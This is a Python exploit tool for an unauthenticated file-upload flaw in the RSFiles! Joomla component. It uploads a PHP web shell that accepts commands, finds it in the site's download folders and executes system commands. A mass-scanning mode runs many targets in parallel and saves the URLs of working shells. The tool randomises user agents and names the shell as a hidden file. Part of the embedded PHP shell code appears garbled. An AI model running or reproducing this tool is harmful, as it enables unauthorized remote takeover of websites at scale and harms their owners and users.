#!/usr/bin/env python3 """ CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE CVSS 9.8 | Pre-Auth | Split-controller upload bypass RSFiles! (com_rsfiles) < 1.17.12 splits upload across two frontend tasks: 1. Pre-flight check (task=rsfiles.checkupload): permission gate + extension allow-list 2. Write method (task=rsfiles.upload): receives file and saves to disk — NO permission check, NO file-type check, NO CSRF token enforcement The write task (rsfiles.upload) can be called directly, skipping the pre-flight check entirely. No login, no CSRF token. Joomla's bundled upload handler (JFile::upload) accepts any file type unless told otherwise. Controller file: /components/com_rsfiles/controllers/rsfiles.php Downloads folder: /downloads/ (web root, .htaccess protection OFF by default) Briefcase folder: /briefcase/ (also writable) Attack: POST to index.php?option=com_rsfiles&task=rsfiles.upload with file= → access /downloads/shell.php → RCE Discovered: Phil Taylor, mySites.guru | July 10, 2026 Vendor advisory: RSJoomla (Octavian Cinciu) Fixed: 1.17.12 — adds CSRF token + permission check + extension allow-list to write task """ import requests, re, sys, os, time, random, hashlib import argparse, threading from concurrent.futures import ThreadPoolExecutor, as_completed from dataclasses import dataclass, field from typing import Optional import urllib3 urllib3.disable_warnings() import warnings warnings.filterwarnings("ignore") TIMEOUT = 10 MAX_THREADS = 30 SPIN = ("⠋","⠙","⠹","⠸","⠼","⠴","⠦","⠧","⠇","⠏") SPIN_FRAME = 0 def _spin_bg(): global SPIN_FRAME while True: SPIN_FRAME += 1; time.sleep(0.04) threading.Thread(target=_spin_bg, daemon=True).start() class _Spin: def __init__(s, msg): s.msg = msg; s.r = True s.t = threading.Thread(target=s._run, daemon=True) s.t.start() def _run(s): while s.r: sys.stdout.write(f"\r\033[K {SPIN[SPIN_FRAME%len(SPIN)]} {s.msg}") sys.stdout.flush(); time.sleep(0.04) def ok(s, msg=""): s.r = False; s.t.join(0.3) sys.stdout.write(f"\r\033[K \033[32m✓\033[0m {msg or s.msg}\n"); sys.stdout.flush() def fail(s, msg=""): s.r = False; s.t.join(0.3) sys.stdout.write(f"\r\033[K \033[31m✗\033[0m {msg or s.msg}\n"); sys.stdout.flush() def rid(n=8): return hashlib.sha256(os.urandom(16)).hexdigest()[:n] def rua(): return random.choice([ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/131.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 Safari/605.1.15", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/131.0.0.0 Safari/537.36", ]) # ─── PHP File Manager Shell ─── def fm_code(token): return ('&1";echo"C|";' 'if(function_exists("system"))system($x);' 'elseif(function_exists("passthru"))passthru($x);' 'elseif(function_exists("exec")){exec($x,$o);echo join("\n",$o);}' 'elseif(function_exists("shell_exec"))echo shell_exec($x);' 'else echo"no";echo"|E";die;}' 'if(isset($_GET["del"])){unlink("$d/".basename($_GET["del"]));die("DEL");}' '$fl="";foreach(scandir($d) as $f)if($f!="."&&$f!="..")' '$fl.=htmlspecialchars($f)." (".filesize("$d/$f")."b) [del]
";' 'echo"' '

think

Dir: $d

' '
' '
' '
' '
$fl";') # PHP shell content (plain PHP — RSFiles! accepts any file type, no polyglot needed) def shell_php(token): return fm_code(token).encode() # ─── Verified Constants (from source code + vendor advisory) ─── # Confirmed from upload.php template: # The form posts to index.php?option=com_rsfiles with hidden field task=rsfiles.upload FILE_FIELD = "file" # Confirmed from RSJoomla advisory: # "POST requests pointing to index.php?option=com_rsfiles&task=rsfiles.upload # that are not preceded by a request to index.php?option=com_rsfiles&task=rsfiles.checkupload" UPLOAD_ENDPOINT = "/index.php?option=com_rsfiles&task=rsfiles.upload" CHECKUPLOAD_ENDPOINT = "/index.php?option=com_rsfiles&task=rsfiles.checkupload" # Confirmed from RSJoomla advisory: # "any attacker can upload a .php file in your /downloads directory" # "Any stray .php files in the downloads/ folder" # "Any stray .php files in the briefcase/ folder" # Default download folder is /downloads/ in web root (configurable in RSFiles settings) # Briefcase folder is /briefcase/ DOWNLOAD_PATHS = [ "/downloads/", "/briefcase/", "/components/com_rsfiles/downloads/", "/images/rsfiles/", ] # Controller file that contains the vulnerable code # Advisory: "delete /components/com_rsfiles/controllers/rsfiles.php" CONTROLLER_PATH = "/components/com_rsfiles/controllers/rsfiles.php" # Component detection paths DETECT_PATHS = [ "/components/com_rsfiles/rsfiles.php", "/administrator/components/com_rsfiles/rsfiles.xml", "/components/com_rsfiles/rsfiles.xml", "/media/com_rsfiles/css/rsfiles.css", ] @dataclass class Result: host: str status: str = "pending" detected: bool = False version: Optional[str] = None upload_ok: bool = False shell_url: Optional[str] = None token: Optional[str] = None rce: bool = False output: Optional[str] = None error: Optional[str] = None elapsed: float = 0.0 class RSFilesExploit: def __init__(self, verbose=False, debug=False, cleanup=True, timeout=10): self.v = verbose; self.debug = debug; self.cleanup = cleanup; self.timeout = timeout def _log(self, host, msg): if self.debug: print(f" \033[90m[{host}]\033[0m {msg}") def _sess(self): s = requests.Session(); s.headers.update({"User-Agent": rua()}); s.verify = False return s def detect(self, host): """Detect RSFiles! component and version.""" sess = self._sess() for proto in ("https://", "http://"): base = f"{proto}{host}" for path in DETECT_PATHS: try: r = sess.get(f"{base}{path}", timeout=self.timeout) if r.status_code == 200: # Try to extract version from XML manifest if path.endswith(".xml"): m = re.search(r'([0-9.]+)', r.text) if m: ver = m.group(1) self._log(host, f"Version from XML: {ver}") return True, ver # Component exists if "rsfiles" in r.text.lower() or r.status_code == 200: # Try admin manifest for version for vpath in [ "/administrator/components/com_rsfiles/rsfiles.xml", "/components/com_rsfiles/rsfiles.xml", ]: try: vr = sess.get(f"{base}{vpath}", timeout=self.timeout) if vr.status_code == 200: m = re.search(r'([0-9.]+)', vr.text) if m: self._log(host, f"Version from {vpath}: {m.group(1)}") return True, m.group(1) except: pass return True, None except: pass # Also try checking if the controller file exists (the vulnerable file itself) try: r = sess.get(f"{base}{CONTROLLER_PATH}", timeout=self.timeout) if r.status_code == 200 and "rsfiles" in r.text.lower(): self._log(host, "Controller file exists") return True, None except: pass break return False, None def deploy(self, host): """Upload PHP shell via direct rsfiles.upload task (bypasses rsfiles.checkupload). The vulnerability: task=rsfiles.upload can be called directly without: - Authentication (no login required) - CSRF token (not enforced on write task in < 1.17.12) - File-type validation (JFile::upload accepts any file type) - Permission check (write method has no permission gate) File is saved to the configured downloads folder (/downloads/ by default). """ pid = rid(8); shell_name = f".{pid}.php"; token = rid(16) sess = self._sess() shell_content = shell_php(token) for proto in ("https://", "http://"): base = f"{proto}{host}" url = f"{base}{UPLOAD_ENDPOINT}" self._log(host, f"Uploading to: {url}") self._log(host, f"File field: {FILE_FIELD}") self._log(host, f"Shell name: {shell_name}") # POST directly to rsfiles.upload, skipping rsfiles.checkupload # The form normally sends: option, task, folder, from, chunk, overwrite # But the write task only needs the file — it reads filename from request files = {FILE_FIELD: (shell_name, shell_content, "application/octet-stream")} data = { "option": "com_rsfiles", "task": "rsfiles.upload", "folder": "", "from": "", "overwrite": "1", } try: r = sess.post(url, files=files, data=data, timeout=self.timeout, allow_redirects=False) self._log(host, f"Upload response: {r.status_code} ({len(r.text)} bytes)") if r.headers.get("Content-Type",""): self._log(host, f"Content-Type: {r.headers.get('Content-Type','')}") if r.text: self._log(host, f"Response body: {r.text[:300]}") # The upload may return 200 (success with JSON/raw), 302 (redirect on success), # or 500/403 (error). On vulnerable versions, the file is written regardless. if r.status_code in (200, 302, 500): # Try to locate the shell in all possible download paths for dl_path in DOWNLOAD_PATHS: shell_url = f"{base}{dl_path}{shell_name}" try: sr = sess.get(f"{shell_url}?t={token}", timeout=5) if sr.status_code == 200 and "think" in sr.text and "]+)', r.text, re.IGNORECASE) if path_match: extracted = path_match.group(1) if not extracted.startswith("http"): shell_url = f"{base}/{extracted.lstrip('/')}" else: shell_url = extracted if not shell_url.endswith(shell_name): shell_url = f"{shell_url.rstrip('/')}/{shell_name}" try: sr = sess.get(f"{shell_url}?t={token}", timeout=5) if sr.status_code == 200 and "think" in sr.text: self._log(host, f"Shell found via response path: {shell_url}") return {"url": shell_url, "token": token, "name": shell_name} except: pass except Exception as e: self._log(host, f"Upload error: {e}") break return None def run(self, host): t0 = time.time() host = host.strip().rstrip("/"); host = re.sub(r"^https?://", "", host) if not re.match(r"^[\w.-]+:\d+$", host): host = host.split(":")[0] r = Result(host=host) detected, version = self.detect(host) if not detected: r.status = "not_found"; r.elapsed = time.time() - t0; return r r.detected = True; r.version = version self._log(host, f"[+] RSFiles!{' v'+version if version else ''}") shell = self.deploy(host) if shell: r.shell_url = shell["url"]; r.upload_ok = True; r.token = shell["token"] sess = self._sess() try: resp = sess.get(f"{shell['url']}?t={r.token}&c=id;hostname;uname+-a", timeout=self.timeout) m = re.search(r"C\|(.*?)\|E", resp.text, re.DOTALL) if m: r.rce = True; r.output = m.group(1).strip()[:300] except: pass if self.cleanup and r.rce: try: sess.get(f"{shell['url']}?t={r.token}&del={shell['name']}", timeout=5) except: pass r.status = "rce" if r.rce else "uploaded" if not r.rce: r.error = "PHP exec disabled or shell not accessible" else: r.status = "failed"; r.error = "Upload failed — may be patched (>= 1.17.12) or downloads folder secured" r.elapsed = time.time() - t0; return r class MassScanner: def __init__(self, targets, threads=MAX_THREADS, output=None, verbose=False, debug=False, timeout=10): self.targets = targets; self.threads = threads self.output = output; self.verbose = verbose; self.debug = debug; self.timeout = timeout self.results = []; self._lock = threading.Lock(); self._n = 0; self._T = len(targets) def run(self): print(BANNER) print(f" Targets: {self._T} | Threads: {self.threads}") print() t0 = time.time() with ThreadPoolExecutor(max_workers=self.threads) as ex: fs = {ex.submit(self._one, t): t for t in self.targets} for f in as_completed(fs): try: r = f.result() except Exception as e: r = Result(host=str(f), status="error", error=str(e)) self.results.append(r); self._print_result(r) self._summary(time.time() - t0) return self.results def _one(self, t): t = t.strip().rstrip("/"); t = re.sub(r"^https?://", "", t) if not re.match(r"^[\w.-]+:\d+$", t): t = t.split(":")[0] return RSFilesExploit(verbose=self.verbose, debug=self.debug, timeout=self.timeout).run(t) def _print_result(self, r): with self._lock: self._n += 1; n = self._n det = sum(1 for x in self.results if x.detected) rce = sum(1 for x in self.results if x.rce) pct = n * 100 // self._T if self._T else 0 filled = int(15 * n / self._T) if self._T else 0 bar = "█" * filled + "░" * (15 - filled); s = SPIN[SPIN_FRAME % len(SPIN)] if r.rce: sys.stdout.write(f"\0337\n\033[K \033[32m[RCE]\033[0m {r.host:35s} {r.shell_url}\n\0338"); sys.stdout.flush() if self.output: with open(self.output,"a") as f: f.write(f"{r.shell_url}?t={r.token or ''}&c=id\n") host = r.host[:35] tag = "RCE" if r.rce else ("UP" if r.upload_ok else ("!" if r.detected else ".")) sys.stdout.write(f"\r\033[K [{tag}] {host:35s} | {s} [{bar}] {n}/{self._T} ({pct}%) Det:{det} RCE:{rce}") sys.stdout.flush() def _summary(self, elapsed): sys.stdout.write(f"\r\033[K\n") t = len(self.results); det = sum(1 for r in self.results if r.detected) rce = sum(1 for r in self.results if r.rce) print(f"\n {'─'*55}") print(f" Done | {elapsed:.0f}s | Targets:{t} | Detected:{det} | RCE:{rce}") print(f" {'─'*55}\n") BANNER = """ ____ ____ _____ _ _ | _ \\/ ___|| ___(_) | ___ ___ | |_) \\___ \\| |_ | | |/ _ \\/ __| | _ < ___) | _| | | | __/\\__ \\ |_| \\_\\____/|_| |_|_|\\___||___/ RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8 """ def main(): if not sys.argv[1:] or (len(sys.argv)==2 and sys.argv[1] in ('-h','--help')): print(BANNER) p = argparse.ArgumentParser(description="CVE-2026-57827 — RSFiles! Joomla Unauthenticated File Upload RCE", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""Examples: python cve_2026_57827.py -t target.com python cve_2026_57827.py -f targets.txt -o shells.txt python cve_2026_57827.py -t target.com --no-cleanup --debug""") p.add_argument("-t","--target"); p.add_argument("-f","--file") p.add_argument("-o","--output",help="Save RCE URLs") p.add_argument("--threads",type=int,default=MAX_THREADS) p.add_argument("--no-cleanup",action="store_true") p.add_argument("--debug",action="store_true"); p.add_argument("-v","--verbose",action="store_true") a = p.parse_args() targets = [] if a.target: targets.append(a.target) if a.file: if not os.path.isfile(a.file): print(f"[!] {a.file}"); sys.exit(1) with open(a.file) as f: targets.extend(l.strip() for l in f if l.strip() and not l.startswith("#")) if not targets: p.print_help(); sys.exit(1) targets = list(dict.fromkeys(targets)) if len(targets) == 1: print(BANNER); sp = _Spin("Scanning...") pe = RSFilesExploit(verbose=True, debug=a.debug, cleanup=not a.no_cleanup, timeout=TIMEOUT) r = pe.run(targets[0]); sp.ok() if r.detected else sp.fail() Y,N = '\033[32m','\033[0m' print(f"\n Host : {r.host}") print(f" RSFiles! : {Y}YES{N}{' v'+r.version if r.version else ''}" if r.detected else " RSFiles! : NO") print(f" Upload : {Y}YES{N}" if r.upload_ok else " Upload : NO") print(f" RCE : {Y}YES{N}" if r.rce else " RCE : NO") if r.shell_url: print(f" Shell : {r.shell_url}?t={r.token}") if r.output: print(f" Output : {r.output}") if r.error: print(f" Note : {r.error}") print(f" Time : {r.elapsed:.1f}s\n"); return MassScanner(targets, threads=a.threads, output=a.output, verbose=a.verbose, debug=a.debug, timeout=TIMEOUT).run() if __name__ == "__main__": main()